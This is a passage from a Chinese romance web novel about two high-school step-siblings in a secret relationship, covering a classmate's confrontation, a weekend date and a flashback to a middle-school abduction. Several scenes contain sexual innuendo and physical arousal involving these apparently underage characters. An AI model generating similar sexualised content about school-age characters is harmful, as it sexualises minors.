“就让我们虚伪,有感情别浪费,不能相爱的一对,亲爱像两兄妹……”
时间还很早,班里有一大半同学没到。
唐媛坐在靠窗最后排,她神情古怪地一直盯着这边,手机里的音乐放完这一段后就戛然而止了。
温声面无表情地转过头。
昨天发的那条动态只屏蔽了家里人,没想到还是被钻了空子,路泊汀的手唐媛非常熟悉,而且,她就是因为这只手才对他一见钟情的。
当时她穿的舞服下楼时被裙摆绊了一跤,横在楼梯中央,路泊汀正好上楼,顺手扶起了她。
就这么一个小举动,她喜欢了他将近一年。
温声敛下情绪,认真收好那张摄影展的报名表,拿出课本准备背书。
手机突然振了一下,她盯着书看了几秒钟,摸出划屏。
——下午放学时后教见。
温声面不改色地删了她的对话框,抬眼正好撞上贺厉的视线,他仍是朝她淡淡一笑。
上午的时间过得很快,中午下课后,江乐橙拽着她快步走进食堂:“快走快走!今天食堂有糖醋鱼!”
温声打好饭找了一处靠角落的位置,一中的食堂总共有三层楼,分别是一食园、二食园、三食园,她们在二食园,中午食堂人很多,入眼看过去黑压压一片,餐桌上还有食堂阿姨没来得及收拾的残渣,温声从衣兜里抽出纸巾准备擦掉,就见对面的座位突然坐下一人。
“好巧啊。”唐媛放下餐盘朝她嬉笑一声。
温声没搭理她,拿起自己的餐盘挽着江乐橙朝其他位置走去。
“别忘了下午放学后等我哦。”
依然笑呵呵的一声。
两人挑到一楼入口的位置,江乐橙看她吃的很少,小声问:“姓唐的要和你说什么?”
“她知道了。”
两人对视一眼,温声的神情很疏淡。
江乐橙一惊,立马知道是怎么回事,“她不会要拿这事威胁你吧?”
“她拿其他事还可以威胁我,但是这件事她找错人了。”
拿路泊汀威胁自己?
她在做什么春秋大梦。
看自己姐妹很不屑的扯唇一笑,江乐橙瞬间就放心了,“我还是相信你的战斗力的,我们阿声冲啊,手撕贱女人!”又补了一句,“打不过的话你橙子姐替你上。”
温声被她逗笑,心里的郁闷也淡了很多。
唐媛这人知道他们是兄妹关系,还是之前看见两人上了同一辆保姆车,她又四处打探后才知道路泊汀确实有一个妹妹。
下午的几节课温声听课效率很高,笔记都是挑重点记,做题正确率也提了上来,遇到不会的问题还直接去了办公室问老师。
江乐橙之前就说过,她其实很聪明,毕竟能考上一中的人初中的基础不可能差,但她之前一直没什么目标,所以对学习也不怎么上心。
也不知道现在是开窍了还是突然找准目标了。
晚自习的放学铃声响起,外面骤然下起大雨,温声没带雨伞,江乐橙今晚要去叔叔家,和她是两个方向,她只好磨磨蹭蹭收拾书包打算等雨小点再走。
手机忽然振动。
L:带伞没?
温声扁起嘴巴。
声声怪:没有,淋的衣服都湿透了,都怪你。
平时都是他接自己放学回家,带不带伞完全不在她考虑范围内。
江乐橙背着书包都已经走出校门了,又拿着一把新的雨伞跑进教室。
啪——
放她桌上。
“喏,你家罗味生煎给你订的。”说完朝她快速挥手,“我先走了啊阿声,路上注意安全,明天见。”
手机又是一振——
L:允许你和老公道谢。
温声拿起那把彩虹花边长柄雨伞,有点幼稚的款式,但是配她刚刚好。
声声怪:幼稚死咯。
唐媛走过来坐到江乐橙的位置上,身上的香水味熏死人,估计明天橙子要发飙。
“外面下雨,我们就在教室说好了。”
教室里只剩她们两人。
“说吧。”温声靠向后桌桌沿,抱臂瞅她。
“你和路泊汀不是亲兄妹吧?”
“关你屁事。”
唐媛上手猛推她的桌子,桌上的水杯直接滚到了温声怀里,衣服瞬间淋湿一片,但她依然很淡地看过去,似笑非笑地问:“回答啊,关你屁事?”
“那你两在装什么兄妹情啊,不觉得很恶心吗?”
“难道和你在一起就不恶心了?”温声掀唇又一声讥笑,上下扫视她,“你配吗?”
唐媛抬手要挥上她的脸,手腕被一道狠劲猝然抓住,“你今天敢动我一下,唐媛,我敢确定,这个学你不用上了。”
看向教室后面的监控摄像头,甩开她的手,唐媛起身冷眼看着她:“你别高兴太早,总有你哭的一天。”
说完背着书包就走了。
温声重新摆好桌子,又抽出纸擦了擦身上的水渍,教室里很安静,只有饮水机发出呼噜的抽水声,白炽灯照在她身上,小脸此刻没了刚才的傲气,窗户被雨点打的噼啪作响,滂沱大雨从远处的乌云暮霭中破了道口倾泻而下。
她又
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拿出手机,对刚才的对话框慢慢打出几个字。
“我也很想你。”
路泊汀是第二周的周六晚上到的江城,他没怎么睡好,下了飞机直接被李叔带回了翠苑。
温声周六白天去逛了展,还不知道他已经到了家,慢悠悠地挑了一些送给朋友的手办后又吃过晚饭才回的家。
到家后看到玄关处放的银色行李箱,心猛地一跳。
他不会回来了吧……
回来了?
两人已经大半个月没见面了,温声这会儿心跳很快,没来得及换鞋直接上了楼,正好和下楼的姚书文碰上。
姚女士赶忙拦住她:“这是发生什么事了?”
“妈妈,哥是已经回来了吗?”
“晚上刚到没多久。”
温声将打包好的巴斯克挞和肉桂卷的袋子挂在她手上,脑袋疯狂点了点,“妈妈,这是给你买的。我先上楼和同学打个电话,一会儿见。”
说完就“噔噔噔”跑上了楼。
看向手里的甜品,姚女士怪难为情:“可是我不吃甜啊。”
温声跑到路泊汀的房门口,这段时间他很忙,她也在认真学习,两人平时聊天都很少,要见面了,突然有点胆怯……
站在门口,半天没敲门。
门突然从里面被打开,在她还没看清时,肩膀就被环住拽进了房间。
路泊汀刚洗过澡,脸上还泛着潮,碎发随意向后抓了把,露出昭然精致的眉眼,身上泛着很好闻的木质海盐味,细细一嗅,有点像被阳光烘烤后的薄荷叶,沁凉又煦暖。
他用一边手臂抵在门上,长腿支在她腿前,直直把她逼在最墙角。
清冷明亮的黑眸直勾勾凝着她。
温声躲开他灼热的视线,低下头问:“你怎么回来也不和我一声啊。”
“今天很漂亮。”
她终于抬头,一脸茫然:“啊?”倏尔又反应过来,嘟起嘴巴继续说,“我哪天不漂亮?”
她今天长发散开,用一根很细的黑色碎钻发箍简单搭配,身上穿了一件米白色的丝质连衣裙,套了一件同色套头衫,脚上是一双西部牛仔风红色尖头短靴,穿搭色彩有点突兀,但是配上她清丽娇气的五官和曲线纤细的身材,就非常明媚亮眼。
尤其这会儿还故意眯起一双轻盈水润的浅色眼睛望着他,娇憨劲儿十足。
路泊汀摇头一笑,没再说话,低头圈住她的腰身,在她脖颈处用力一闻,又伸舌碰她颈侧的细肉,手指上移贴向她的后颈,柔顺软绵的发丝扫过他的手背,有点痒。
半晌,他的嘴唇贴到耳侧:“今天格外心动。”
温声从进门到现在都没怎么敢看他,直到他身上的气味弥散在周身,才确定他是真的回来了。
吸了吸鼻子,抬手搂紧他的脖子,踮脚,嘴唇轻触过他的唇角,又在他的喉结处嘬吸了一会儿,呢喃声轻颤:“我好想你……”
33. 并进
注意到她眼圈红了,路泊汀站直身子,指腹轻轻扫过她的眼尾,结果她的眼泪冒了出来。
“受委屈了吗?”他倾下视线去看她。
温声摇头。
路泊汀牵着她去到阳台,外面放了一把柚木藤椅,夜晚的温度偏低,他又进了房间拿了一条毛毯和一把吉他走出来。
温声睁大眼睛不解地望着他。
路泊汀给她盖好毛毯后直接面朝她坐到了地板上,曲起腿架好吉他,朝她挑眉一笑:“看你这么想我,我也得表示表示。”
他随意拨拉琴弦简单调了音,阳台有一排高低不平的绿篱,庭院里亮着的水景灯和壁灯的暖调光影照到楼上,从围栏和绿篱的间隙中萦绕在他周身。
他身上只穿了一件很薄的低领卫衣,低头调琴时,露出一截白皙修长的颈线,衣领从微弯的背脊处敞开空隙,光线正好照到那处空缺,可以看见一块凸起的明晰脊骨。
像一棵葱郁勃然又野性生根的树。
“今晚我是你的歌手。”他抬头和她对视,漫不经心的目光里满是哄逗。
温声坐在藤椅上,抿起唇,鞋尖晃了晃,“挑一首你最近听的歌吧。”
路泊汀想了想,扯唇继续笑:“有个同学在酒店给女朋友打电话哼歌,歌词还不错。”说完坐直身子,盘起长腿架好琴,指尖拨动,琴腔振颤,低缓的伴奏声扬起,静谧的空间加入他清润温柔的声音——
“I’m a space bound rocketship and your heart’s the moon.”
(我是深陷苍穹的火箭,而你的心是我围绕着飞的月亮)
“And I’m aiming right at you.”
(我要飞向的,就是你)
“Right at you.”
(就是你)
“250000 miles on a clear night in October.”
(在十月静谧的夜晚,在那样的高空)
“And I’m aiming right at you.”
(我要飞向的就是你)
他忽然凝向她,好像觉得歌词蛮好,眯起弧度好看的眼睛,清澈的眸光里隐着一层笑影,又慢悠悠地改词——
“Only you……”
琴声突然停止,他哑然一笑:“对不起啊宝宝,忘词了。”
线条俊削好看的脸颊有一处很浅的酒窝涌现。
低缓的清唱像炽灼的火影,层叠在一起重重砸向她心口。
温声掀开盖在腿上的毛毯,上前坐在他腿上,两胳膊圈住他的脖子,靠在他的胸前,声音闷涩:“你也是。”
你也是我心里的月亮。
她今晚很黏自己,路泊汀将琴放到一侧搂住她,“发生什么事了吗?”
温声埋着脑袋还是继续摇头,搂住他脖子的手紧了紧。
路泊汀垂眼看她的神情,抬手轻拍她的背,重复道:“你随时可以告诉我。”
温声在他怀里静了几秒,又松开他,娇俏的小脸重新换上明媚的淡笑。
“不是要吃生煎吗?明天请你吃好不好?”
路泊汀抚过她刚才泛红的眼圈,一副她说什么就是什么的慵懒神情。
温声迅速站起来,“明天七点钟见不准睡懒觉。”说完就跑出去了。
若有所思地盯着她跑出去的身影,路泊汀坐在原地,回头时余光照见楼下站在花园旁的李叔,两人视线撞在一起,他舒展开长腿换了个坐姿,继续看向他,还是李叔先偏了视线。
第二天一早,温声背着书包在楼下等他,打算吃完早饭直接去图书馆复习。
路泊汀一副没睡醒的死人脸扶着脖子走下楼,瞅了一眼她的腿,想也没想直接说:“上去换件厚衣服,今天降温。”
温声“啊”了一声,看向外面的大太阳,嘴里嘟囔:“你怎么事儿这么多。”
她今天专门搭配的美式短款露脐外套和超短裙。
“不换?”
“不换!”
“行。”他突然很好说话地点头,食指转着车钥匙在她眼前晃,“今天冻感冒了别在我这儿哼唧。”
嘁。
温声满脸不屑,“你管好你自己吧,你也没穿好到哪儿去。”
他不也穿了短裤么。
路泊汀摘下棒球帽力度较重地扣她脑袋上,遮住她的呆样,“我抗冻啊小傻。”
又一手接过她的书包朝外走。
温声气呼呼地跟在他身后骂骂咧咧道:“你弄乱我头发了,还有!谁是小傻?!”
两人开车到市中心已经排了很多号人的生煎店,温声笑的有些幸灾乐祸:“幸亏我一周前就预定了。”
坐在店面不大的室内,她疯狂点了一顿餐,看到有排骨年糕,兴奋地朝不远处的人挥手:“我要吃排骨年糕!”
路泊汀正在给两人调料碗,有些无语的横了她一眼,又找来店员小声吩咐加点海苔碎。
头顶的帽子快要挡住温声的视线,她摘下又给他扣了回去,力度同样也很重,随即挑眉看他:都说了让你别惹我。
路泊汀温和一笑收下她的挑衅,桌下的膝盖却突然蹭上她的大腿,从下有意无意的顶挠她的腿心。
温声“嗷呜”一声,低头夹紧腿立马老实了。
店员上了牛肉和鲜肉馅的生煎,还有虾仁小馄饨和牛肉汤。
吃到最后,餐盘里还剩最后一个生煎包,路泊汀当然不客气地夹起来咬了一口。
包子已经凉了,吃起来口感一般。
温声嘴里的包子还没咽下去,脸颊一鼓一鼓的,瞪他:“你就不能绅士一点吗,我也想吃,你怎么不给我留?”
店里人太多,再点单就要继续排队。
路泊汀喝完最后的汤,一手探进她的卫衣口袋拿出纸巾,又抽出一张直接轻拍在她脸上,堵住她的嘴:“对老公态度客气点。”
温声一把抓过纸巾,继续怒视他:“你是不是男人,还和我抢吃的,没品的死渣男!”
路泊汀已经被家里的两个女人骂免疫了,似笑非笑地瞅她:“我是不是男人你不是最清楚么?”又上手蹭掉她嘴角的残渣,笑的一脸浪荡,“你在床上可不是这样啊宝宝。”
店内坐满了人,尤其还是人挤人的座位,温声立马红了脸,颤着手指小声骂他:“烂人。”
两人走出店的时候,路泊汀手里提了打包袋,温声上车后看向袋子里的生煎包和排骨年糕的食品盒,盖子上还冒着热气,她“哇”的一声,又有些狗腿地去蹭他胳膊:“没想到你人还蛮好的喔。”
蛮好的路泊汀一手打着方向盘,另一手面无表情地推开她的小狗脸,“我是烂人,你离我远点。”
温声嘟起嘴巴翻白眼,继续摇他的手。
路泊汀开车到市图书馆,挑了一处靠近窗户的位置,温声从书包里取出这周随堂考的数学试卷,他拿过那张卷子看了眼成绩,挑眉浅笑:“进步
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了。”
温声扬起下巴,两只眼睛都快对上天花板了,“允许你向我道歉。”
道什么歉?
道了再说。
想起前几天他发的信息——允许你给老公道谢。
路泊汀揉着太阳穴摇头失笑:“你真的好笨啊。”
温声一把扯过自己的卷子,继续傻里傻气地小声怼他:“不道歉就少看我的卷子,你不配。”
她又在自习桌上用笔袋隔了个二八线,给他放话:“不准挤我,你要是超过这条线你就死定了。”
被挤在角落的路泊汀拿出IMO开始刷题,温声余光里看见他长腿长手伸展不开的样子,撇撇嘴,又把自己的笔袋移了移,变成了三七线。
路泊汀也不说话,掏出眼镜戴上,他轻微近视平时懒得带,银色的半框眼镜架在俊挺的鼻梁处,星眸红唇,衬的一张阳春白雪的脸斯文温雅,这会儿抿起唇似有若无地斜了她一眼,竟然还带了几分委屈。
温声狠狠翻了个白眼,把自己的笔袋放在中间五五分,“行了吧行了吧!你少装!”
两人在图书馆待了一下午,温声做完两张卷子还归纳了错题,路泊汀刷完板块训练后,拿过她的试卷开始给她讲题,温声对学习上比自己厉害的人还是很谦虚的。
路泊汀诶,一中大佬的存在。
“公式尽量要精简啊宝宝,你看这个选择题你就用了三个公式,效率太低了,”他在旁边直接写下最终推算的公式,“以后代入这条。”
温声皱眉,不太认可他,“你有什么依据吗?”
路泊汀很有耐心地拿过自己的草稿纸一边讲一边给她推算,最后本子推她面前,“再算一遍。”
温声照着他讲的重新算了一遍那道题,时间确实快了很多。
他翻过试卷,用笔帽圈出一题,“在这张试卷上找出和这道题考点一样的题出来。”
温声又皱起小脸,满脸不乐意,“就只出了这一道。”
路泊汀也不惯着她,曲起长指弹她脑门,下巴朝试卷点了点:“找。”
结果温声找出了同类型的五道考题,她有点窘,两只小手推着自己的脸颊撑在桌子上看他。
“发现有什么规律吗?”他又推过来一张纸,上面记了同类题型解题方法的不同点和相同点。
温声认真看那些题,发现是有一些方法重合的,又对比了他写的解法,脑子里的知识点框架好像明晰了一些。
他开始给她讲五道题的解题思路,简而言之就是要在最短的时间内计算出最高效的答案。
整个下午两人就坐在图书馆一楼的公共区域,周围聒噪的打电话声、情侣嬉闹声、窗外汽车驶过的鸣笛声,在这一刻好像都安静了下来,两人抛去原始情感里所有的欲动,没有谈笑打趣,只有他低下头耐着性子给她讲题的用心温柔。
在一处嘈杂的区域给她筑起一道廓然静谧的屏障。
温声趁他低头写字时,快速侧过头看了他一眼。
他还戴着那副眼镜,他们坐在背光的位置,温声微微失了怔,他一直给自己一种不真实的感觉,卓荦出众的外形,恣睢肆意的性子下却是想做的事都会做到最好的天之骄子。
她下意识去抓他的胳膊。
路泊汀抬起头,“怎么了?”
放下笔牵过她的手握在手心,很凉,“学累了吗?”
温声只能点头,“我饿了,想吃冰激凌。”
他哼笑一声,摘下眼镜,露出黑亮的眼睛,“饿了就带你去吃点热乎的。”
34. 隐匿
出图书馆时天色全暗了下来,路泊汀订了一家粤式料理店,结果温声被图书馆附近的一条夜市街吸引了视线,她使劲摇他的胳膊:“我们去吃烧烤好不好?”
路泊汀很想拒绝,低头看见她两只大眼睛眼巴巴地望着自己,盈盈水光,于是抬起手压在她头顶,叹了声气:“好。”
夜市街人挤人,两人去了很多摊位都没有位置可以坐。
“我们打包了去江滩吃吧。”她又摇他的胳膊。
路泊汀觉得好笑,捏她的脸,“要不要再给你买两瓶啤酒?”
结果温声当真了,一个劲儿的点头:“要!”
他继续叹气,跟在她身后当付钱拿东西的劳工。
两人最后买了一大堆垃圾食品,温声的小脸都快笑烂了,她还没吃过这么多炸物。
上车后,她先咬了一口糯米豆蓉味的冰糖葫芦,山楂和糯米吃起来口感酸甜糯叽,很很很好吃。
路泊汀抽出纸给她擦嘴,一脸嫌弃:“脏脏怪。”
温声吃得开心,也不计较他说什么,冰糖葫芦递到他嘴边:“快吃一口,超好吃!”
他不爱吃甜食,斜过身子拒绝进食:“我不饿。”
“哼,你就是嫌弃这些路边摊。”
路泊汀又弹她的额头,“少吃点,一会儿带你吃点暖胃的。”
俯身拉过安全带“啪嗒”扣回她身上,瞅她脸上还有冰糖葫芦的糖渣,想也没想,伸出舌头卷走那块糖渣。
朝她眨眨眼,随即勾唇一笑:“味道还不错。”
温声都懵了,反应过来开始炸毛:“你能不能不舔我!”小脸开始泛红,鼻尖是他身上淡淡的香味。
他靠的太近了。
“不是你让我吃吗?”
“不要脸。”
路泊汀坐回驾驶位,又开始低笑:“下次骂人换个说法,我对你要脸就不是我了。”
抬手去捏她另一半的脸,“老公只对你这样。”
温声嘴巴里还有两颗冰糖葫芦,咕噜咕噜的,鼓起的脸颊被他揪起来,说话也含糊不清:“总有一天你会被我打趴下。”
没什么震慑的威胁。
路泊汀觉得可爱又凑近她,手指压在安全带上面,温声被圈在车门边沿动弹不了,刚要亲上时,她开始打嗝。
“路泊汀…嗝…我…嗝…呜呜……”
路泊汀习惯性揉额头,坐直身子打着方向盘找了路边一家便利店。
“等我。”
温声的目光回旋在他身上,他低下头和店员正在说话,劲瘦颀长的身影,店里年轻女生的视线都直勾勾地往他身上瞟。
她手里的冰糖葫芦又下意识地往嘴边送。
路泊汀拿着温水和果酒回到车里,盯着她喝完温水后轻手拍了拍她的背,温声觉得顺过气了,接过他手里的那两罐低酒精度果酒,“你要和我喝吗?”
还是温的。
路泊汀收起她的垃圾食品放进一旁的食品袋,顺口应声:“陪你喝点儿。”
开车到凌江时已经是晚上八点半,两人挑了一处渡桥边的江滩,人很多,温声刚要坐上空地,就被路泊汀拽起身兜头套了件长风衣,下摆遮在脚踝处。
被江边的冷风吹得发抖的腿瞬间退却凉意。
温声眼睛一亮歪头看他:“你什么时候带的衣服?”
今早还让她换衣服呢。
路泊汀又从车里拿出软垫和野餐布放在沙地上,朝她点下巴:“坐吧。”
看到这人把一切都安排的很妥当,温声有种自己是小废物的错觉,摆好所有食物后,给他递了罐酒,笑得很开心:“周末快乐喔。”
路泊汀单手拉环和她轻碰,浅喝一口,又一副坏笑地扯唇说浑话:“下次周末想去床上快乐。”
温声的笑脸登时消失,狠狠瞪他。
周围都是成群的行人,两人就坐在江滩的角落,看着远处的江水,夜晚秋风习习,清凌凌的江面被远处高层的广告灯牌映照出一片澄溶波光,轮船驶过,泛起荧荧涟漪。
路泊汀胳膊撑在后面,侧头看她,温声吃得很开心,脸上的笑意一晚上就没收敛过,吃完烤鱿鱼又吃了海苔芝士条,在拿起章鱼小丸子时他抬手拦住:“留点肚子吧。”
温声不客气地打掉他的手,夹起一块靠近他嘴边炫耀,倏尔又快速塞进自己嘴巴里:“买回来就是要吃完的啊。”
路泊汀哼笑出声:“晚上肚子疼离我远点。”
觉得他扫兴,温声在盒子里挑了半天,挑出一个圆滚滚的小丸子递他嘴边,他侧过头就是不吃。
她开始唉声唉气:“这颗可是我专门让老板加了很多料的,”胳膊推挤他,嘟起小嘴巴,“也是专门给你买的。”
看她娇憨无害的笑颜,路泊汀将信将疑地吃下,当即鼻子一呛脸颊都红了,他握拳抵在嘴边,半晌问她:“你让老板放了多少芥末?”
温声嘻嘻一笑:“好吃吗?”
他也不废话,拉过她的衣领直接吻上她,舌尖的芥末渡到她嘴里,温声被呛的直咳嗽。
松开手睨着她:“好吃吗?”
温声快速拿起果酒仰头就灌,喝完半瓶才冲掉那股怪味,指着他半天才憋出一句:“你果然是个烂人。”
烂人路泊汀挑眉示意收到。
不远处的人群突然响起一片哄闹声:“答应他!答应他!”
“哇,有人求婚诶!”
温声也不吃了,飞快卷起地上的食品袋,又拉起他直往人群里冲:“我们也去看看。”
路泊汀被她拖着款步走过去,人群中央站着一对情侣,女生穿着套裙这会儿冻得脸通红,但看得出来很高兴,男生单膝跪地手里举着戒指微笑地望着她:“嫁给我好吗?”周围堆了一圈心形玫瑰花。
温声踮起脚半掩唇在路泊汀耳边小声碎碎念:“以后求婚千万不要当着这么多人的面,我会尴尬,而且……”她贴得更近,热气扑簌在他耳边,耳根微微发麻,“我不喜欢钻戒和玫瑰花,记得换个特别的。”
路泊汀忍住笑意,在人群的缝隙中牵紧她的手,十指相扣,轻声问:“你想要谁和你求婚?”
温声压根就没过脑,视线还在瞟着那对磨蹭的小情侣,脱口而出:“你啊。”
说完才反应过来,眼睛开始骨碌乱转就是不看他,脸颊也逐渐胀红,江边的湿气重,吹得她鼻尖发红,一双浅瞳愈发澄澈莹润,路泊汀摘下帽子戴在她脑袋上,这次力度很轻,指腹摩挲她的无名指,声音很低:“会让你满意的。”
人群中央又发出哇哇喧嚣声,那位女生接受了求婚。
温声走过去询问他们:“需要给你们录视频吗?”她指了指女生手上的戒指,莞尔一笑,“机会很难得哦。”
情侣两人当然愿意了,不停地道谢,温声半蹲在地上给他们找角度录像。
身后的路泊汀手里拿着被卷起来的餐布,里面裹着她还没吃完的烤红薯,他拿出手机打开相机对准她。
“嘭——”
远处的高塔正好放起烟花,花火在黑夜里急促升空又延缓散开,明艳的火光在头顶疏开。
“温声。”
他突然出声。
温声回头,手里举着的手机无意识对向他。
还在录着像。
路泊汀的视线在她身上,打开闪光灯,按下拍摄键,四周密集的人群陡然成了暗色背景,只有她出现在屏幕中央,脸上挂着甜甜的笑意,月明星眼,头顶的烟花散开后,火影坠落进身后的江水
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,在璀璨夜幕下,犹如趋前跳跃又奋不顾身的流星。
他突然说了什么,周围声音太嘈杂温声没有听清:“你再说一遍。”
他收起手机,似笑非笑地吊着她:“下次再说。”
哼,她忿忿转过身,将录像的前半部分剪了出来发给那对情侣,留下的后半部分打算回家看。
路泊汀喝了酒不能开车,本想叫代驾,温声又晃到眼前:“我们骑车回家吧。”
从汇安区骑到翠苑至少一个半小时,他看了眼时间。
九点半了。
面无表情地拒绝:“我不认路。”
手里却是在给李叔发消息叫人来移车。
温声扯着他的胳膊在路边找单车,“我认得就行了。”
两人最后扫了辆破旧单车,开始从思源路沿着路边成片的网红咖啡屋骑行,骑到百年纪念大公馆后,温声站在公馆门口让路泊汀给她拍一张合影,又骑到人流量渐少的居民楼外的人行道,路泊汀始终都在她身后,两人保持不远不近的距离。
温声嫌弃他个子高挡住了她看夜景的视线,脾气很暴躁地让他骑在后面不准超车。
路泊汀都气笑了啊,一晚上她说什么就是什么,还给他甩脸子,于是很贱地加速和她并行,正好挡住她看路边一家中古店的视线。
温声伸出一条腿踢他,被他绕开,没踢上。
“烂人。”
“你骂我贱人我都不介意啊宝宝。”
“贱人!”
“那还是叫声老公吧。”
……
两人慢悠悠骑回家已经是晚上十一点,路康夫妇已经休息了,结果温声回到家里就开始拉肚子,到最后都有点脱水,好不容易揉着肚子躺回床上,小腹又开始阵痛,路泊汀端着一杯冲好的药进来,踢了踢她的床脚:“起来喝药。”
温声一点力气都没有了,窝在被子里,蔫巴巴望着他。
路泊汀摇头:“我不可能喂你的,自己起来喝。”
想起他晚上说的吃坏肚子别来找他。
温声扁起嘴巴在床上装死,宁愿被痛死也不想起来喝药。
“不起?”
床上没动静。
路泊汀将杯子放在床头,看都没看她一眼直接扭头出了房间。
听到关门声,半晌,温声从被子里钻出来,盯着门看了半分钟,结果他真的没再进来。
她撇撇嘴端起那杯很苦的冲剂捏着鼻子一口气喝下,重新放下杯子,余光里又看到他悄无声息地直立立站在床尾。
笑的一脸人畜无害。
温声被吓了一跳,抚上砰砰砰跳个不停的胸口开始骂他:“我拜托你正常点,真的很吓人啊……”
还没说完话嘴里就被他塞进一颗软糖。
柠檬海盐糖。
很快缓解了嘴巴里药水的苦涩。
她也没客气,一副痞里痞气的样子,伸手在他睡衣兜里摸了个遍,薅完他所有的软糖,塞进自己的兜里,又伸手去掏他裤兜的软糖,还要使唤他:“下次我要吃酸奶味的哟。”
还没碰上,就被他拍开了。
“别碰。”
温声一懵,她只是单纯想找糖,小眼神平平看过去,忽然反应过来,又坏坏一笑,被他这么一惹,她的手反而很欠地快速摸了过去,还朝他甜甜笑开:“碰了怎样,你打我啊?”
她头回拽的这么二五八万的。
结果那玩意儿在她面前一点一点地完全支棱了起来。
温声嘴角的笑一下子僵硬了。
路泊汀似笑非笑地歪头瞅她,长指戳她额头,直到戳出红印:“今天先放过你,下次再挑衅我,什么玩法你自己选。”
温声只能闭嘴,不停地朝他翻白眼。
35. 潮起
早上一进到教室,就被江乐橙拽住,看她一脸兴奋,温声打着哈欠随意问道:“你谈恋爱了?”
“跟我有什么关系,是你哥的。”
她放下书包,心不在焉地拧开水杯,刚喝到嘴里就被江乐橙接下来的一句话呛到。
“你哥被保送了,现在贴吧里都刷疯了。”
温声嘴巴里的水滚了又滚,被保送了……
他为什么没告诉自己?
见她没说话,江乐橙又小声问了句:“你不高兴吗?”
温声掏出手机登录学校贴吧,昨晚就被顶到最上面的帖子——
一中有史以来最帅校草斩获奥赛金牌,入选国家集训队,将获得京大保送资格。
她嘴里开始调笑:“都什么年代了还评校草这种东西吗?”手里却是快速退出贴吧点开微信杀了过去。
声声怪:保送了为什么不告诉我啊?
等了一会儿,手机没动静。
班里陆陆续续到齐了人,她只好关了手机开始上早自习。
王立明站在讲台拍了拍讲桌叫停一群自习的学生:“今早最后一节课不上,全年级都去会堂,学校组织了几个今年竞赛获奖的同学给你们分享经验。”
班里从最初的静默复习到最后的哗然讨论。
“好厉害,路草我记得还留过级吧?一直以为他成绩很菜。”
“哈哈哈你别逗,人家初中奥赛就获奖了,附中现在的公告栏还保留他的参赛成绩呢。”
“那可是路草啊,在附中就带队闯出省队的路草!带过他数学的薛冰老太太现在都还在打听他消息。”
身后一堆人叽叽喳喳,温声抬头看了一眼王立明,见他没注意这边,又从衣服里拿出手机,路泊汀还是没回消息。
“我和他一个初中,我初一他初三,他留级还真不是成绩的问题,好像是出了车祸。”
“当时闹挺大的,学校压了下来。”
……
温声敛下眼睛,脸色有点难看。
车祸……
她初一有一段时间,晚上放学是自己回家的,当时路泊汀初三,除了学校的晚自习还要参加竞赛的课程,两人放学的时间总是不同步。
“你放学后来我们班,我和老师提过,你就坐在后排写作业等我好了。”
温声初中叛逆心正起,一口拒绝:“我自己也能回家。”
不就是放学自己回家吗?有什么可担心的。
但路泊汀还是拽住她的书包,“你自己走我不放心,尤其现在还是冬天,晚上放学天都黑了。”
“你别管我,我要自己走。”
没办法,路泊汀只好把自己的手机给她,学校管得严学生不能带手机,但他是竞赛生平时需要和外校的老师联系,所以班主任睁只眼闭只眼没管他。
“进出地铁站都给翁明发消息,到家也要发。”见她晃着小脑袋左耳进右耳出的样子,路泊汀弯腰摆正她的头又重复了一遍,“记住了吗?”
翁明是路泊汀同竞赛的朋友。
“嗯嗯嗯。”又是心不在焉的一句应声。
送她到校门口,又盯着她进了地铁站,他才重新跑回班里,上课铃声十分钟前就响了。
那段时间温声可开心了,放学没有路泊汀在身边,还可以在校门口的摊铺里买小零食,想吃什么就吃什么。
直到周五晚上,气温降到零下,温声手里拿了一杯关东煮,走到地铁站口还没吃完,又不舍得丢掉,只好站在一旁的垃圾桶边慢吞吞地吃。
当时将近晚上七点钟,正直下雨天,路上行人很少,她还戴了一副毛茸茸的兔子耳套,是她无意间说到每天回家路上耳朵冻得很疼后路泊汀送的。
身后突然伸过来一只手,直接扯下她的耳套,“叫你几遍没听见,你是聋了吗?”
是同穿附中校服的男同学,只不过染了一头另类的五彩头发,一副校园流氓的样子,身后还跟了个小弟。
温声对他没印象,伸出手:“把我的耳套还我。”
谢一袁坐在机车上,低眼打量手里的耳套随即丢在雨地里,满脸不屑:“耳套有什么好的,上车,以后你想要什么我都送你。”
温声见那副耳套四周白净的茸毛被雨水弄脏,想也没想,推开他的手就去捡。
“谁让你碰我的东西了?”
只不过还没等她捡起来,就被谢一袁拦腰抱起架到机车前座,后面的小弟一脸讥笑。
谢哥看上的妹子还从来没失手过。
晚自习时,路泊汀莫名很烦躁,温声还没来消息。
他隔了一会转头问旁边的翁明:“有消息吗?”
都快七点了。
翁明掏出手机,摆他眼前。
没有。
手里的题也没什么心情写了,丢下笔打算去和老师请假,被翁明拉住:“你要不再等等,今天周五,万一她和同学出去玩了。”
路泊汀看向窗外,雨声轰然嘈嘈,打在玻璃上的雨痕流畅成顺地向下流,枯树被大风吹得刺啦作响,雨势明显变大。
没再迟疑,他起身走到讲台前和老师简单沟通了几句后就拿着雨伞跑了出去。
翁明收拾好东西从后门也溜了出去。
两人顺着她平时走的路线走到地铁站门口,雨下的越来越大,路上的车灯照在地面,那个被雨水打湿的耳套就随意扔置在台阶上。
路泊汀当时心就有点凉,快步走过去捡起,白色茸毛被泞成一坨灰色成块的毛布。
翁明也意
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识到不对劲,迅速打了通电话:“安叔,我小翁,您查一下12号地铁线双林路D出口这一个小时的监控……对,朋友的妹妹可能不见了……好谢安叔。”
安叔回过来电话是五分钟后,两人就站在地铁口,路泊汀连伞都不打了,直接接过手机:“您是说带走她的人是本校的对吗?”
“骑机车?”
“嗯…好…谢谢。”
挂断后手机在手心用力一顶,缓了缓情绪低声道:“是谢一袁。”
翁明觉得奇怪:“他什么时候和温声认识的?”
谢一袁,附中的流氓头子,初三老师眼里的不定时炸弹,之前性/侵本校低年级女生被学校只是处以警告,只因他爸谢任是江城领导班子里的二把手。
“因为她是我妹妹。”
谢一袁早就看不惯路泊汀了,在学校里就处处挑着比,但成绩比不上,长相比不上,性格还拽,人妹妹长的还比自己的历任女朋友都好看,想想就牙疼。
路康这几年常驻法国大使,已经半年没回国了,姚书文又忙着拍摄国家戏剧文艺的一部纪录片,京市江城两头跑,这周正好去了京市,李叔的儿子过生日,今天也没在翠苑。
路泊汀手里一直捏着那个湿透的耳套,他强迫自己冷静下来,给郊乡度假的老人打去电话:“爷爷是我……”
手机还给翁明:“你先报警,地点在郊浦大道的废弃站。”
“你怎么知道的啊——”
